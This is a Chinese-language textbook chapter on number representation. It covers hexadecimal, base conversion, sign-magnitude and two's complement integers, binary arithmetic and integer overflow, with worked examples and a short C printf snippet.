到目前为止,我们已经考察了两种数字系统,十进制和二进制。十进制因其对人类的友好性而著名,而二进制则与硬件中数据存储的方式相匹配。需要注意的是,它们在表达能力上是等价的。也就是说,任何可以在一种系统中表示的数字,都可以在另一种系统中表示。鉴于它们的等价性,可能会让你感到惊讶的是,我们接下来要讨论的数字系统是:基于 16 的*十六进制*系统。
虽然有两种完全有效的数字系统,你可能会想为什么我们还需要第三种。答案主要是便利性。正如表 4-2 所示,二进制位序列会迅速增长为大量的数字。人类往往难以理解只包含 0 和 1 的长序列。虽然十进制更紧凑,但其基数 10 与二进制的基数 2 不匹配。
十进制无法轻松地捕捉到可以通过固定数量的位表示的范围。例如,假设一台旧电脑使用 16 位内存地址。有效地址的范围从 0b0000000000000000 到 0b1111111111111111。以十进制表示,地址的范围从 0 到 65535。显然,十进制表示比长二进制序列更紧凑,但除非你记住它们的转换,否则更难以推理这些十进制数字。现代设备使用 32 位或 64 位地址时,这两个问题会变得更加严重!
这些长二进制序列正是十六进制基数 16 的优势所在。大基数使得每个数字能够表示足够的信息,从而让十六进制数字更加紧凑。此外,由于基数本身就是 2 的幂(2⁴ = 16),所以十六进制和二进制之间的转换非常容易。为了完整性,我们将像分析十进制和二进制那样分析十六进制。
首先,十六进制数字中的每个单独数字存储的是 16 个唯一值之一。超过 10 个值会给十六进制带来新的挑战——传统的十进制数字最大值为 9。按照惯例,十六进制使用字母表示大于 9 的值,其中 A 代表 10,B 代表 11,一直到 F 代表 15。像其他系统一样,若要存储大于 15 的值,数字必须*进位*到左边的另一位。例如,如果一个数字达到最大值(F),并且我们加 1,结果将需要两个数字(0xF + 0x1 = 0x10;请注意,我们使用 0x 来表示十六进制数字)。
其次,数字中每个数字的位置决定了它对该数字数值的重要性。将数字从*右到左*标记为*d*[0]、*d*[1]、*d*[2],依此类推,每个连续的数字对数字的贡献是前一个数字的 16 倍。
毫不意外,相同的解读数字的公式适用于十六进制,基数为 16:
(*d*[*N*–1] × 16^(*N*–1)) + (*d*[*N*–2] × 16^(*N*–2)) + … + (*d*[2] × 16²) + (*d*[1] × 16¹) + (*d*[0] × 16⁰)
例如,确定 0x23C8 的十进制值:

**警告 十六进制误解**
在你刚开始学习系统编程时,你可能不会频繁遇到十六进制数字。事实上,你最有可能遇到它们的唯一场景是在表示内存地址时。例如,如果你使用`printf`的`%p`(指针)格式代码打印一个变量的地址,你将得到十六进制输出。
许多学生常常开始将内存地址(例如 C 指针变量)与十六进制等同起来。虽然你可能习惯于看到地址以这种方式表示,但请记住,*它们仍然在硬件中以二进制形式存储*,就像所有其他数据一样!
#### 4.1.4 存储限制
从概念上讲,无符号整数是无限的。实际上,程序员必须在*存储之前*选择为一个变量分配多少位,原因有很多:
+ 在存储一个值之前,程序必须为其分配存储空间。在 C 语言中,声明一个变量告诉编译器根据其类型需要多少内存(见第 24 页的“C 数值类型”)。
+ 硬件存储设备具有有限的容量。虽然系统的主内存通常较大,不太可能成为限制因素,但 CPU 内部用于临时“工作空间”(即寄存器,见第 260 页的“CPU 寄存器”)的存储位置则更为受限。CPU 使用的寄存器大小受其字长限制(通常为 32 或 64 位,具体取决于 CPU 架构)。
+ 程序经常将数据从一个存储设备移动到另一个存储设备(例如,从 CPU 寄存器到主内存)。随着数值的增大,存储设备需要更多的线路来在它们之间传递信号。因此,扩展存储会增加硬件的复杂性,并为其他组件腾出更少的物理空间。
用于存储整数的位数决定了其可表示值的范围。图 4-4 描述了我们如何将无限和有限无符号整数存储空间进行概念化。

*图 4-4:无符号数字线(a)无限长与(b)有限长的示意图。后者在任一端点“回绕”(溢出)。*
尝试将一个超出变量大小限制的更大值存储到变量中,称为*整数溢出*。本章将整数溢出的详细内容推迟到后面的章节(见第 211 页的“整数溢出”)。现在,可以把它想象成汽车的里程表,如果超出最大值,它会“回绕”到零。同样,从零减去一将得到最大值。
在这个时候,关于无符号二进制的一个自然问题是:“*N* 位可以存储的最大正值是多少?”换句话说,给定一个全为 1 的 *N* 位序列,这个序列表示的值是多少?根据前一节的分析,*N* 位可以产生 2^(*N*) 个独特的位序列。由于其中一个序列必须表示数字 0,因此剩下的 2^(*N*) – 1 个正值范围从 1 到 2^(*N*) – 1。因此,*N* 位无符号二进制数的最大值必须是 2^(*N*) – 1。
例如,8 个二进制位提供 2⁸ = 256 个独特的序列。其中一个序列 0b00000000 被保留用于表示 0,剩下的 255 个序列用于存储正值。因此,一个 8 位变量表示从 1 到 255 的正值,其中最大的值是 255。
### 4.2 在进制之间转换
你很可能会在本章中遇到我们介绍的三种数字进制,并在不同的上下文中使用它们。在某些情况下,你可能需要从一个进制转换到另一个进制。本节首先展示了如何在二进制和十六进制之间进行转换,因为这两者之间的映射非常简单。之后,我们将探讨如何与十进制进行转换。
#### 4.2.1 二进制和十六进制之间的转换
由于二进制和十六进制的基数都是 2 的幂,所以它们之间的转换相对简单。具体而言,每个十六进制数字表示 16 个独特的值,而四个二进制位也表示 2⁴ = 16 个独特的值,使得它们的表达能力是等价的。表 4-3 列出了任何四个二进制位序列与单个十六进制数字之间的一一映射关系。
**表 4-3:** 所有四位二进制序列与一位十六进制数字的对应关系
| **二进制** | **十六进制** | **二进制** | **十六进制** |
| --- | --- | --- | --- |
| 0000 | 0 | 1000 | 8 |
| 0001 | 1 | 1001 | 9 |
| 0010 | 2 | 1010 | A |
| 0011 | 3 | 1011 | B |
| 0100 | 4 | 1100 | C |
| 0101 | 5 | 1101 | D |
| 0110 | 6 | 1110 | E |
| 0111 | 7 | 1111 | F |
请注意,表 4-3 中的内容等同于在这两种数字系统中从 0 到 15 的简单计数,因此无需记忆它。有了这个映射,你可以在任意方向上转换连续的位或十六进制数字。
要将 0xB491 转换为二进制,只需为每个十六进制数字替换相应的二进制值:
B 4 9 1
1011 0100 1001 0001 -> 0b1011010010010001
要将 0b1111011001 转换为十六进制,首先将位分成四位一组,从*右到左*。如果最左边的组不足四位,可以用前导零进行填充。然后,替换成相应的十六进制值:
1111011001 -> 11 1101 1001 -> 0011 1101 1001
^ padding
0011 1101 1001
3 D 9 -> 0x3D9
#### 4.2.2 转换为十进制
幸运的是,将值转换为十进制是我们在本章之前的各个部分中已经做过的事情。给定一个*任意*进制*B*的数字,将数字从*右到左*标记为*d*[0]、*d*[1]、*d*[2],等等,可以得出一个通用的十进制转换公式:
(*d*[*N*–1] × B^(*N*–1)) + (*d*[*N*–2] × B^(*N*–2)) + … + (*d*[2] × *B*²) + (*d*[1] × *B*¹) + (*d*[0] × *B*⁰)
#### 4.2.3 从十进制转换
从十进制转换到其他进制需要做些额外的工作。非正式地说,目标是反转之前的公式:确定每一位的值,使得根据数字的位置,每个项的相加结果是原始的十进制数值。可以把目标进制系统中的每一位想象成我们描述十进制时所说的位置(例如“个位”,“十位”等)。例如,考虑从十进制转换到十六进制。十六进制数的每一位对应着 16 的一个逐渐增大的幂,表 4-4 列出了前几个幂。
**表 4-4:** 16 的幂
| **16**⁴ | **16**³ | **16**² | **16**¹ | **16**⁰ |
| --- | --- | --- | --- | --- |
| 65536 | 4096 | 256 | 16 | 1 |
例如,考虑将 9742 转换为十六进制:
+ 65536 的倍数能装进 9742 多少次?(换句话说,“65536”的位置值是多少?)
结果的十六进制值不需要任何 65536 的倍数,因为该值(9742)小于 65536,所以*d*[4]应设为 0。注意,通过同样的逻辑,所有更高编号的数字也将是 0,因为每个数字都会贡献更大的值,超过 65536。到目前为止,结果只有:
| 0 | | | | |
| --- | --- | --- | --- | --- |
| *d*[4] | *d*[3] | *d*[2] | *d*[1] | *d*[0] |
+ 4096 的倍数能装进 9742 多少次?(换句话说,“4096”的位置值是多少?)
4096 可以装进 9742 两次(2 × 4096 = 8192),所以*d*[3]的值应为 2。因此,*d*[3]将为整体值贡献 8192,所以结果仍需考虑 9742 − 8192 = 1550。
| 0 | 2 | | | |
| --- | --- | --- | --- | --- |
| *d*[4] | *d*[3] | *d*[2] | *d*[1] | *d*[0] |
+ 256 的倍数能装进 1550 多少次?(换句话说,“256”的位置值是多少?)
256 可以装进 1550 六次(6 × 256 = 1536),所以*d*[2]的值应为 6,剩余 1550 − 1536 = 14。
| 0 | 2 | 6 | | |
| --- | --- | --- | --- | --- |
| *d*[4] | *d*[3] | *d*[2] | *d*[1] | *d*[0] |
+ 16 的倍数能装进 14 多少次?(换句话说,“十六”的位置值是多少?)
没有,所以*d*[1]必须为 0。
| 0 | 2 | 6 | 0 | |
| --- | --- | --- | --- | --- |
| *d*[4] | *d*[3] | *d*[2] | *d*[1] | *d*[0] |
+ 最后,1 的倍数能装进 14 多少次?(换句话说,“个位”的位置值是多少?)
答案当然是 14,十六进制表示为数字 E。
| 0 | 2 | 6 | 0 | E |
| --- | --- | --- | --- | --- |
| *d*[4] | *d*[3] | *d*[2] | *d*[1] | *d*[0] |
因此,十进制的 9742 对应于 0x260E。
##### 十进制到二进制:2 的幂
同样的程序适用于二进制(或任何其他数字系统),前提是你使用适当基数的幂。表 4-5 列出了前几个 2 的幂,这将有助于将示例十进制值 422 转换为二进制。
**表 4-5:** 2 的幂
| **2**⁸ | **2**⁷ | **2**⁶ | **2**⁵ | **2**⁴ | **2**³ | **2**² | **2**¹ | **2**⁰ |
| --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 256 | 128 | 64 | 32 | 16 | 8 | 4 | 2 | 1 |
由于每个二进制位只允许存储 0 或 1,转换为二进制时,不再是“每个幂的倍数能适配多少值?”的问题。相反,应该问一个更简单的问题:“下一个二的幂适配吗?”例如,在转换 422 时:
+ 256 可以整除 422,所以*d*[8]应该是 1。这剩下 422 − 256 = 166。
+ 128 可以整除 166,所以*d*[7]应该是 1。这剩下 166 − 128 = 38。
+ 64 不能整除 38,所以*d*[6]应该是 0。
+ 32 可以整除 38,所以*d*[5]应该是 1。这剩下 38 − 32 = 6。
+ 16 不能整除 6,所以*d*[4]应该是 0。
+ 8 不能整除 6,所以*d*[3]应该是 0。
+ 4 可以整除 6,所以*d*[2]应该是 1。这剩下 6 − 4 = 2。
+ 2 可以整除 2,所以*d*[1]应该是 1。这剩下 2 − 2 = 0。
(注意:当结果为 0 时,所有剩余位数将始终是 0。)
+ 1 不能整除 0,所以*d*[0]应该是 0。
因此,十进制的 422 对应二进制的 0b110100110。
##### 十进制到二进制:重复除法
我们刚才描述的方法通常适用于熟悉相关二的幂的学生(例如,对于 422,转换器必须知道从*d*[8]开始,因为 2⁹ = 512 太大)。
一种替代方法不需要知道二的幂。相反,这种方法通过检查十进制数的奇偶性(偶数或奇数),并通过重复除以二(向下舍入)的方式来确定每一位的值,从而构建二进制结果。请注意,它是从*右到左*构建结果的位序列。如果十进制值是偶数,下一位应该是零;如果是奇数,下一位应该是 1。当除法结果为零时,转换完成。
例如,在转换 422 时:
+ 422 是偶数,所以*d*[0]应该是 0。(这是最右边的位。)
+ 422/2 = 211,这是奇数,所以*d*[1]应该是 1。
+ 211/2 = 105,这是奇数,所以*d*[2]应该是 1。
+ 105/2 = 52,这是偶数,所以*d*[3]应该是 0。
+ 52/2 = 26,这是偶数,所以*d*[4]应该是 0。
+ 26/2 = 13,这是奇数,所以*d*[5]应该是 1。
+ 13/2 = 6,这是偶数,所以*d*[6]应该是 0。
+ 6/2 = 3,这是奇数,所以*d*[7]应该是 1。
+ 3/2 = 1,这是奇数,所以*d*[8]应该是 1。
+ 1/2 = 0,所以任何编号为九或以上的数字将是 0,算法结束。
正如预期的那样,这种方法生成相同的二进制序列:0b110100110。
### 4.3 带符号的二进制整数
到目前为止,我们讨论的二进制数仅限于*无符号*(严格非负)整数。本节介绍了一种二进制的替代解释,涵盖了负数。鉴于变量具有有限的存储空间,带符号的二进制编码必须区分负值、零值和正值。操作带符号的数字还需要一个取反的过程。
有符号的二进制编码必须在负值和非负值之间划分比特序列。在实践中,系统设计师通常构建*通用*系统,因此 50% / 50%的划分是一个比较折中的选择。因此,本章介绍的有符号数字编码代表了相等数量的负值和非负值。
**注意 非负数与正数的区别**
请注意,*非负数*和*正数*之间有一个微妙但重要的区别。严格的正数集合排除了零,而非负数集合包括零。即使在负值和非负值之间将可用的比特序列划分为 50% / 50%,仍然必须为零保留一个非负值。因此,在固定比特数的情况下,数字系统可能会表示更多的负值而不是正值(例如,在二补码系统中)。
有符号数字编码使用一个比特来区分*负数*和*非负数*。按照约定,最左边的比特表示数字是负数(1)还是非负数(0)。这个最左边的比特被称为*高位比特*或*最重要的比特*。
本章介绍了两种可能的有符号二进制编码——*符号大小*和*二补码*。尽管在实践中只有其中一种编码(二补码)仍然在使用,但比较它们有助于说明它们的重要特性。
#### 4.3.1 符号大小
*符号大小*表示法将高位比特专门作为符号位。这意味着,无论高位比特是 0 还是 1,都不会影响数字的绝对值,它*仅仅*决定该值是正数(高位比特为 0)还是负数(高位比特为 1)。与二补码相比,符号大小使得十进制转换和取反过程相对直接:
+ 要计算一个*N*位符号大小序列的十进制值,使用“无符号二进制数”中提到的熟悉方法计算*数字*d*[0]到*d*[*N–*2]的值(见第 193 页)。然后,检查最重要的比特*d*[*N–*1]:如果它是 1,值为负;否则为正。
+ 要取反一个值,只需翻转最重要的比特位来改变其符号。
**警告 取反误解**
符号大小表示法纯粹是为了教学目的而介绍的。虽然过去一些计算机使用过符号大小表示法(例如,1960 年代的 IBM 7090),但现代系统中没有使用符号大小表示法来表示整数(尽管一个类似的机制*确实*是存储浮点数的标准的一部分)。
除非明确要求考虑符号大小,否则*不*应假设翻转二进制数字的第一个比特会使该数字在现代系统中变为其相反数。
图 4-5 展示了四位有符号数序列如何对应到十进制值。乍一看,由于其简单性,有符号数可能看起来很有吸引力。不幸的是,它有两个主要缺点,使得它不太受欢迎。第一个缺点是它存在*两个*零的表示。例如,在四位数中,有符号数同时表示*零*(0b0000)和*负零*(0b1000)。因此,这对硬件设计师来说是一个挑战,因为硬件需要处理两个在数值上相等但位值不同的二进制序列。硬件设计师只需要一种表示这样一个重要数字,工作会容易得多。

*图 4-5:四位二进制序列的有符号数值逻辑布局*
有符号数的另一个缺点是,它在负数和零之间存在不便的间断性。虽然我们将在“整数溢出”章节中详细讨论溢出问题(参见第 211 页),但将 1 加到四位序列 0b1111 会“回绕”到 0b0000。对于有符号数而言,这种效应意味着 0b1111(–7)+1 可能会被误认为是 0,而不是预期的–6。这个问题是可以解决的,但解决方案又使得硬件设计更加复杂,本质上将负整数和非负整数之间的任何过渡变成了一个需要特别小心的特殊情况。
由于这些原因,有符号数在实际应用中几乎已经消失,而二进制补码则占据了主导地位。
#### 4.3.2 二进制补码
*二进制补码*编码优雅地解决了有符号数表示法的问题。像有符号数一样,二进制补码的高位表示值是否应该被解释为负数。不过,与有符号数不同的是,高位也会影响数值。因此,它是如何同时做到这两点的呢?
计算一个*N*位二进制补码的十进制值与熟悉的无符号方法类似,区别在于高位的贡献被抵消了。也就是说,对于一个*N*位二进制补码序列,第一位的贡献不是*d*[*N–*1] × 2^(*N–*1)加到总和中,而是贡献*– d*[*N–*1] × 2^(*N–*1)(注意负号)。因此,如果最高位是 1,那么总值将是负数,因为该第一位对总和的贡献最大。否则,第一位对总和没有任何贡献,结果就是非负数。以下是完整的公式:
–(*d*[*N*–1] × 2^(*N*–1)) + (*d*[*N*–2] × 2^(*N*–2)) + … + (*d*[2] × 2²) + (*d*[1] × 2¹) + (*d*[0] × 2⁰)
(注意仅第一项的前导负号!)
图 4-6 展示了四位序列在二进制补码中的布局。该定义仅编码了零的一个表示——一个全为 0 的位序列。在只有单一 *零* 序列的情况下,二进制补码表示的负值比正值多一个。以四位序列为例,二进制补码表示的最小值为 0b1000(-8),但最大值仅为 0b0111(7)。幸运的是,这一怪异不会妨碍硬件设计,也很少给应用程序带来问题。

*图 4-6:四位长二进制补码值的逻辑布局*
与符号大小(signed magnitude)相比,二进制补码还简化了负数与零之间的转换。无论用于存储它的位数是多少,所有为 1 的二进制补码数值总是表示 -1。将 1 加到所有为 1 的位序列上会“溢出”到零,这使得二进制补码非常方便,因为 -1 + 1 *应该*产生零。
##### 取反
对二进制补码数值取反比对符号大小数值取反稍微复杂一些。要取反一个 *N* 位的数值,首先确定它相对于 2^(*N*) 的*补码*(这也是该编码名称的由来)。换句话说,要取反一个 *N* 位数值 *X*,找到一个位序列 *Y*(*X* 的补码),使得 *X* + *Y* = 2^(*N*)。
幸运的是,实际应用中有一个快速的二进制补码取反捷径:翻转所有的位并加 1。例如,要取反八位数值 13,首先确定 13 的二进制值(请参见“从十进制转换”第 199 页)。由于 13 是 8、4 和 1 的和,所以在第 3 位、第 2 位和第 0 位设置 1:
00001101 (decimal 13)
接下来,“翻转位”(将所有 0 改为 1,反之亦然):
11110010
最后,加上 1 得到 0b11110011。果然,应用二进制补码位序列解释公式可以显示该数值是 -13:
–(1 × 2⁷) + (1 × 2⁶) + (1 × 2⁵) + (1 × 2⁴) + (0 × 2³) + (0 × 2²) + (1 × 2¹) + (1 × 2⁰) = –128 + 64 + 32 + 16 + 0 + 0 + 2 + 1 = –13
如果你对这个看似神奇的捷径为何有效感到好奇,可以更正式地考虑 13 的八位取反。为了找到 13 的补码,求解 0b00001101(13)+ *Y* = 0b100000000(2⁸,表示需要额外的位)。这个方程可以重排为 *Y* = 0b100000000 - 0b00001101。现在,这显然是一个减法问题:
100000000 (256)
- 00001101 (13)
即使这种减法看起来令人望而生畏,我们也可以以一种更容易计算的方式表达它,即 (0b011111111 + 1) – 0b00001101。请注意,这种变化只是将 2⁸(256)表示为 (255 + 1)。做出此变化后,算式变成:
011111111 (255) + 00000001 (1)
- 00001101 (13)
事实证明,对于 *任何* 位值 *b*,1 *– b* 等同于“翻转”该位。因此,前面示例中的整个减法可以简化为只翻转较小数字的所有位。剩下的就是加上表示 256 为 255 + 1 的剩余 +1。将所有内容结合起来,我们可以简单地翻转一个值的位并加一来计算其补码!
**警告 C 程序设计中的带符号与不带符号整数**
除了分配空间,在 C 语言中声明变量还告诉编译器你希望如何解释该变量。当你声明一个 `int` 时,编译器将其解释为带符号的二进制补码整数。要分配一个无符号值,可以声明一个 `unsigned int`。
这种区别在 C 语言的其他地方也很重要,比如 `printf` 函数。正如本章一直强调的,位序列可以以不同的方式进行解释!在 `printf` 中,解释方式取决于你使用的格式占位符。例如:
#include <stdio.h>
int main() {
int example = -100;
/* 使用带符号和无符号占位符打印 example 整数。 */
printf("%d %u\n", example, example);
return 0;
}
尽管这段代码将相同的变量(`example`)传递给 `printf` 两次,但它打印出的是 `-100 4294967196`。小心正确解释你的值!
##### 符号扩展
偶尔,你可能会遇到需要对两个使用不同位数存储的数字进行算术运算的情况。例如,在 C 语言中,你可能想将一个 32 位的 `int` 与一个 16 位的 `short` 相加。在这种情况下,较小的数字需要进行 *符号扩展*,这是一种 fancy 的说法,意思是将其最高有效位重复足够多次,以将位序列的长度扩展到目标长度。尽管编译器会为你处理位操作,但了解这个过程是如何运作的仍然很有帮助。
例如,要将四位序列 0b0110(6)扩展为八位序列,只需取高位(0),并将其前置四次,得到扩展值:0b00000110(仍然是 6)。同样,将 0b1011(–5)扩展为八位序列时,取高位(这次是 1),并将其前置四次,得到扩展值:0b11111011(仍然是 –5)。为了验证其正确性,考虑每次添加新位后值的变化:
0b1011 = -8 + 0 + 2 + 1 = -5
0b11011 = -16 + 8 + 0 + 2 + 1 = -5
0b111011 = -32 + 16 + 8 + 0 + 2 + 1 = -5
0b1111011 = -64 + 32 + 16 + 8 + 0 + 2 + 1 = -5
0b11111011 = -128 + 64 + 32 + 16 + 8 + 0 + 2 + 1 = -5
正如例子所示,非负数(高位为零)在前面添加零后仍然是非负的。同样,负数(高位为一)在前面添加一后仍然是负数。
**注意 无符号零扩展**
对于无符号值(例如,一个显式声明为`unsigned`的 C 语言变量),扩展它到更长的位序列需要使用*零扩展*,因为`unsigned`修饰符防止该值被解释为负数。零扩展只是将零添加到扩展位序列的高位部分。例如,0b1110(在无符号情况下是 14!)扩展为 0b00001110,尽管原始的高位是 1。
### 4.4 二进制整数算术
前面我们介绍了无符号(“无符号二进制数”在第 193 页)和有符号(“无符号二进制数”在第 193 页)整数的二进制表示;现在我们已经准备好在算术运算中使用它们。幸运的是,由于它们的编码方式,*无论我们选择将操作数或结果解释为有符号还是无符号*,对算术过程都没有影响。这一观察对于硬件设计师来说是一个好消息,因为它允许他们构建一套硬件组件,这些组件可以在无符号和有符号操作之间共享。第 246 页的“电路”部分更详细地描述了执行算术运算的电路。
幸运的是,你在小学时学习的用于执行十进制数算术运算的纸笔算法同样适用于二进制数。虽然硬件可能不会完全以相同的方式计算它们,但你至少能够理解这些计算。
#### 4.4.1 加法
记住,在二进制数中,每一位只能是 0 或 1。因此,当两个位都为 1 时,结果会*进位*到下一位(例如,1 + 1 = 0b10,需要两个位来表示)。实际上,程序会对多位变量进行加法,其中一位的*进位输出*会影响下一位的*进位输入*。
一般来说,当从两个二进制数(*A*和*B*)中加法时,*有八*种可能的结果,这取决于*位[A]*、*位[B]*和前一位的*进位输入*。 表 4-6 列出了从加一对位可能得到的八种结果。*进位输入*列指的是从前一位传入和的进位,*进位输出*列则指示加这对位是否会将进位输出到下一位。
**表 4-6:** 添加两个二进制数字(*A*和*B*)并可能从前一位获取进位时的八种可能结果
| **输入** | **输出** |
| --- | --- |
| **位**[**A**] | **位**[**B**] | **进位**[**输入**] | **结果(和)** | **进位**[**输出**] |
| 0 | 0 | 0 | 0 | 0 |
| 0 | 0 | 1 | 1 | 0 |
| 0 | 1 | 0 | 1 | 0 |
| 0 | 1 | 1 | 0 | 1 |
| 1 | 0 | 0 | 1 | 0 |
| 1 | 0 | 1 | 0 | 1 |
| 1 | 1 | 0 | 0 | 1 |
| 1 | 1 | 1 | 1 | 1 |
考虑两个四位二进制数的加法。首先,将数字对齐,使其对应的数字垂直匹配,然后按顺序对每个对应的数字求和,从低位数字(*d*[0])到高位数字(*d*[3])。例如,添加 0b0010 + 0b1011:
| **问题设置** | **实例操作** |
| --- | --- |
|  |  |
该示例显示从*d*[1]进入*d*[2]的 1。这种情况类似于添加两个十进制数字,它们的和大于 9。例如,当添加 5 + 8 = 13 时,结果的个位数为 3,并且 1 进位到十位数。
第一个操作数(0b0010)有一个前导 0,因此在二进制补码和无符号解释中均表示 2。第二个操作数(0b1011)如果作为有符号的二进制补码值解释,则表示-5。否则,如果作为无符号值解释,则表示 11。幸运的是,操作数的解释并不影响计算结果的步骤。也就是说,计算结果(0b1101)表示无论第二个操作数的解释如何,都是正确的,分别表示 13(无符号:2 + 11)或-3(有符号:2 + -5)。
更一般地说,四位序列在解释为*无符号*时表示范围[0, 15]的值。当解释为*有符号*时,它表示范围[-8, 7]。在前面的示例中,无论如何计算结果都在可表示的范围内,但我们可能并不总是那么幸运。例如,当添加 0b1100(无符号 12)+ 0b0111(7)时,答案应为 19,但四位无法表示 19:
| **问题设置** | **实例操作** |
| --- | --- |
|  |  |
注意,在这个例子中的加法从最高有效位中带有 1,这种情况被称为整体算术运算的*Carry out*。在这个例子中,Carry out 表明算术输出需要额外的位来存储预期的结果。然而,在进行四位算术运算时,没有地方可以放置 Carry out 的额外位,因此硬件简单地丢弃或*截断*它,将 0b0011 作为结果。当然,如果目标是加法 12 + 7,结果 3 可能会让人感到意外。这种意外是*溢出*的后果。我们将在第 211 页的“整数溢出”中探讨如何检测溢出以及它产生的结果原因。
**注意**
多位加法器电路还支持一个*进位*,其行为类似于进位到最右边的数字(即它作为*d*[0]的*Carry[in]*输入)。在执行加法时,进位并不实际使用,因为它被隐式设置为 0,这就是为什么它不出现在前面的示例中的原因。然而,对于使用加法器电路的其他操作,进位就变得相关,尤其是减法。
#### 4.4.2 减法
减法结合了两种常见操作:取反和加法。换句话说,7 - 3 等同于将该操作表示为 7 + (–3)。这种减法的表现形式与硬件的行为非常一致——CPU 已经包含了用于取反和加法的电路,因此利用这些现有电路比构建全新的减法电路更为高效。回想一下,取反二进制数的简单方法是翻转位并加一(详见 第 205 页中的“取反”)。
考虑示例 0b0111(7)- 0b0011(3),首先将 3 发送到位翻转电路。为了得到“加一”,它利用了加法器电路的*进位输入*。即,减法不是从一位进位到另一位,而是将*进位输入*传递给加法器的*d*[0]。将进位输入设置为 1 会使得结果的“个位”值加一,这正是它需要的“加一”部分。将所有步骤组合在一起,示例结果如下:
| **问题设置** | **转化为加法** | **演示示例** |
| --- | --- | --- |
|  |  |  |
尽管加法的完整结果会扩展为额外的一位,但截断后的结果(0b0100)表示预期的结果(4)。与之前的加法示例不同,来自高位的进位并不一定意味着减法中的溢出问题。
当减去负值时,执行取反后加法的方式同样适用。例如,7 - (–3) 得到 10:
| **问题设置** | **转化为加法** | **演示示例** |
| --- | --- | --- |
|  |  |  |
我们进一步探讨在“整数溢出”中执行(或不执行)进位操作的影响,详见 第 211 页。
#### 4.4.3 乘法与除法
本节简要介绍了带整数的二进制乘法和除法。特别是,它展示了手动计算结果的方法,并未反映现代硬件的行为。此描述并非详尽无遗,因为本章的其余部分主要集中在加法和减法。
##### 乘法
要进行二进制数的乘法,可以使用常见的笔算策略,一次考虑一个数字并加总结果。例如,0b0101(5)和 0b0011(3)的乘法等同于求和:
+ 将 *d*[0] 与 0b101(5)相乘:0b0101(5)
+ 将 *d*[1] 与 0b101(5)相乘,并将结果左移一位:0b1010(10)。
0101 0101 0101
x 0011 = x 1 + x 10 = 101 + 1010 = 1111 (15)
##### (整数)除法
与前面描述的其他运算不同,除法可能产生非整数结果。进行整数除法时,最需要记住的是,在大多数编程语言中(例如 C、Python 2 和 Java),结果的小数部分会被截断。否则,二进制除法使用的是大多数学生在小学时学习的长除法方法。例如,下面是计算 11 / 3 如何得到整数结果 3 的过程:
____
11 |1011
00__ 11 (3) doesn't fit into 1 (1) or 10 (2),
11 |1011 so the first two digits of the result are 00.
001_ 11 (3) fits into 101 (5) once.
11 |1011
101 101 (5) - 11 (3) leaves 10 (2).
- 11
10
0011
11 |1011 11 (3) fits into 101 (5) once again.
101
到此为止,算术已经得出了预期的整数结果 0011(3),硬件会截断任何小数部分。如果你有兴趣确定整数余数,可以使用取模运算符(%),例如,11 % 3 = 2。
### 4.5 整数溢出
尽管整数的数量在数学上是无限的,但在实际应用中,计算机内存中的数字类型占用固定数量的位(参见第 196 页的“存储限制”)。正如本章始终暗示的,使用固定数量的位意味着程序可能无法表示它们希望存储的值。例如,加法讨论中显示,两个合法值相加可能会产生无法表示的结果(参见第 208 页)。如果一个计算没有足够的存储空间来表示其结果,那么它就发生了*溢出*。
#### 4.5.1 里程表类比
为了描述溢出,我们可以从非计算领域举个例子:汽车的里程表。里程表记录了汽车行驶的里程数,不论是数字式还是模拟式,都只能显示有限的(十进制)数字。如果汽车行驶的里程数超过了里程表所能表示的范围,里程表会“回绕”回到零,因为实际的值无法表示。例如,对于一个标准的六位数里程表,它能表示的最大值是 999999。再多行驶一英里*本应*显示 1000000,但就像第 208 页中溢出的加法例子一样,1 会从六个可用数字中溢出,最终只留下 000000。
为了简化起见,我们继续分析一个仅限于一个十进制数字的里程表。也就是说,里程表表示的范围是[0, 9],因此每行驶 10 英里,里程表就会重置回零。将里程表的范围通过视觉方式展示出来,它可能像图 4-7 这样。

*图 4-7:一个一位数里程表潜在值的视觉呈现*
因为一个一位数的里程表在达到 10 时就会回绕,绘制一个圆形强调了圆顶的断裂点(*仅仅是*在圆顶处)。具体来说,通过对除九以外的任何值加一,结果会得到预期的值。另一方面,对九加一则跳转到一个不自然的值(零)。更一般地,当执行*任何*跨越九与零之间断裂点的算术运算时,计算将会溢出。例如,考虑加法 8 + 4,如图 4-8 所示。

*图 4-8:仅有一个十进制位时,8 + 4 的结果。越过 0 和 9 之间的不连续性表示发生了溢出。*
在这里,和预期的 12 相比,结果是 2。请注意,许多其他加到 8 上的值(例如,8 + 14)也会得到 2,唯一的区别是这些计算会绕圈进行多次。因此,无论汽车行驶了 2 英里、12 英里还是 152 英里——最终,里程表都会显示 2。
任何像里程表一样工作的设备都执行 *模运算*。在这种情况下,所有算术运算都相对于 10 进行模运算,因为一个十进制数字仅表示 10 个值。因此,给定任何行驶的英里数,我们可以通过将距离除以 10 并取余数作为结果来计算里程表显示的数值。如果里程表有两个十进制数字而不是一个,模数将变为 100,因为它可以表示更大的值范围:[0, 99]。类似地,时钟执行模运算,小时数模数为 12。
#### 4.5.2 二进制整数溢出
看到一种熟悉的溢出形式后,让我们来看看二进制数字编码。回忆一下,*N* 位存储表示 2^(*N*) 个独特的比特序列,而这些序列可以以不同的方式解读(作为 *无符号* 或 *有符号*)。在某些解释下,某些运算可能会得到正确的结果,但在另一种解释下却会发生溢出,因此硬件需要根据每种情况不同地识别溢出。
例如,假设一台机器使用四位序列计算 0b0010 (2) - 0b0101 (5)。将此运算通过减法过程(参见 第 209 页 的“减法”)进行计算,得到的二进制结果是 0b1101。将此结果解释为 *有符号* 值会得到 -3(-8 + 4 + 1),这是 2 - 5 的预期结果,没有溢出。另一方面,将其解释为 *无符号* 值则得到 13(8 + 4 + 1),这是不正确的,明显表明发生了溢出。进一步审视这个例子,它直觉上是有道理的——结果应该是负数,而有符号解释允许负数,而无符号则不允许。
##### 无符号溢出
*无符号* 数字的行为与十进制里程表的示例相似,因为它们都仅表示非负值。*N* 位表示的无符号值范围是 [0, 2^(*N*) – 1],使得所有的算术运算都相对于 2^(*N*) 进行模运算。图 4-9 展示了四位序列的无符号解释在模空间中的排列。

*图 4-9:四位无符号值在模空间中的排列。所有算术运算都相对于 2⁴ (16) 进行模运算。*
由于无符号解释不能表示负值,因此断点再次出现在最大值和零之间。因此,无符号溢出发生在任何操作跨越 2^(*N*) - 1 和 0 之间的界限时。简单来说,如果执行加法(应使结果*增大*)却得到较小的结果,则加法引起了无符号溢出。对称地,如果执行减法(应使结果*减小*)却得到较大的结果,则减法引起了无符号溢出。
